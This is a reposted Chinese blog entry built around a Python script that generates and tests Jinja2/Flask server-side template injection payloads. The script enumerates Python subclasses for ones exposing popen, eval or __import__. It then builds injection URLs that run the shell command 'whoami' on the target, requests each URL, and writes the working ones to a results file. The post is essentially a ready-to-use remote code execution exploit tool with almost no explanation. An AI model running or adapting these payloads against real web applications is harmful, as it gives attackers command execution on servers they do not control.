首页 > 编程语言 >Python+Flask SSTI 注入payload自动生成

Python+Flask SSTI 注入payload自动生成

时间:2023-12-08 21:04:28浏览次数:38  
标签:__ scan Python list __.__ Flask SSTI url import

抛开代码丑不谈,用起来还是挺好用滴。

from flask import Flask, request
from jinja2 import Template
from threading import Thread
import requests
import os
import sys

url_dict = {
    "popen": [],
    "eval": [],
    "__import__": [],
}
scan_list = {
    "popen": ("__init__.__globals__", "['popen']('whoami').read()"),
    "eval": ("__init__.__globals__['__builtins__']", "['eval'](\"__import__('os').popen('whoami').read()\")"),
    "__import__": ("__init__.__globals__['__builtins__']", "['__import__']('os').system('whoami')")
}
site = "http://127.0.0.1:5000/waewe?404_url="

def scan():
    num = 0
    for item in "".__class__.__mro__[-1].__subclasses__():
        try:
            for ii in scan_list:
                if ii in eval("item." + scan_list[ii][0]):
                    url = "%s{{{}.__class__.__base__.__subclasses__()[%s].%s%s}}\n" % (
                        site,
                        num,
                        scan_list[ii][0],
                        scan_list[ii][1]
                    )
                    url_dict[ii].append(url)
            num += 1
        except:
            num += 1


def check_active(url):
    with open("result.txt", "a", encoding="utf-8") as f:
        for i in url:
            status_code = requests.get(i).status_code
            if not status_code >= 500:
                f.write(i)
    f.close()


if __name__ == '__main__':
    scan()
    if os.path.exists("result.txt"):
        os.remove("result.txt")

    t_list = []
    for i in url_dict:
        t = Thread(target=check_active, args=(url_dict[i],))
        t.start()
        t_list.append(t)

    for t in t_list:
        t.join()

    print("创建完成,请查看当前路径下的 result.txt 文件!!")


标签:__,scan,Python,list,__.__,Flask,SSTI,url,import
From: https://blog.51cto.com/u_14892047/8741608

相关文章

  • python的循环
    python的循环for循环#遍历列表my_list=[1,2,3,4,5]foriinmy_list:print(i)#遍历字符串my_string="Hello,World!"forletterinmy_string:print(letter)while循环i=0whilei<5:print(i)i+=1break和continue语句#......
  • python项目vscode配置
    最近由pycharm切到VScode,记录一下项目的通用配置;在项目目录建一个.vscode的文件夹分别创建三个文件lunch.jsonpython运行配置settings.jsonvscode配置包括代码校验;sftp.json文件服务器配置,直接右键上传到服务器lunch.json{"version":"0.2.0","config......
  • pythonDay20
    时间模块import  timetime时间转换  import  datetime random案例(十进制中26个字母的获取) OS模块  案例 【sys模块】 【打印进度条】  【shuilt模块】 ......
  • Flask实践--重保时期网页防篡改监测平台
    最近在尝试使用flask编写一个网站防篡改监测平台,目前已基本完成,前端使用光年模板修改,后端主要通过设置相关参数后轮询+正则匹配实现页面监控及篡改监测,简单介绍如下:登录因为是自己用,去掉了图形及花里胡哨的滑块验证码(主要是不会后端校验)而改用OTP码实现双因子,账号密码通过数......
  • 软件测试/人工智能|一文告诉你Python字典知识
    前言字典(Dictionary)是一个非常重要且灵活的工具。我们可以通过字典来存储存储键-值对,并且能够高效地根据键来访问、修改或删除值。让我们一起深入了解Python字典吧!什么是字典?字典是Python中的一种数据结构,用于存储键-值对。每个键都与一个值相关联,这种映射关系让我们能够......
  • 软件测试/人工智能|一文告诉你Python集合相关知识
    前言集合(set)是Python中一种重要的数据结构,它提供了存储唯一元素的容器,集合能够让我们高效地执行诸如成员检测、交集、并集等操作。让我们一起深入了解Python中的集合吧!什么是集合?集合是Python中的一种数据结构,类似于数学中的集合概念。它是一组无序且唯一的元素的集合,不允......
  • python之函数
    【函数的定义】 【函数类型】 【return】【函数调用的三种方式】 【形参、实参】(定义) (使用) 【*和**】  【名称空间及作用域】 (定义,及类别) (加载顺序) (作用域的类型)  【闭包函数】  ......
  • Python计算两图相似性-余弦相似度
    1、简介把图片表示成一个向量,通过计算向量之间的余弦距离来表征两张图片的相似度。  2、代码fromPILimportImagefromnumpyimportaverage,dot,linalg#对图片进行统一化处理defget_thum(image,size=(1920,1080),greyscale=False):#利用image对图像......
  • 软件测试/人工智能|使用 Pip 管理 Python 包
    前言Python是一门强大而灵活的编程语言,其社区拥有数量庞大且多样化的第三方库和工具,这些库可以让我们在项目中快速、高效地开发。pip是Python的包管理工具,我们可以使用pip轻松地安装、升级和管理这些第三方包。什么是Pip?Pip是Python包索引(PyPI)的客户端工具,可以方便地从......
  • 软件测试/人工智能|一文告诉你Python元组相关操作
    前言当我们谈及Python数据结构时,元组(tuple)是一个重要且常用的概念。元组类似于列表,但是它是不可变的数据结构,其中的元素不能被修改。让我们深入了解一下元组的各种方面。什么是元组?在Python中,元组是由逗号分隔的值组成的有序集合。和列表类似,但不同的是,元组是不可变的,一旦创建......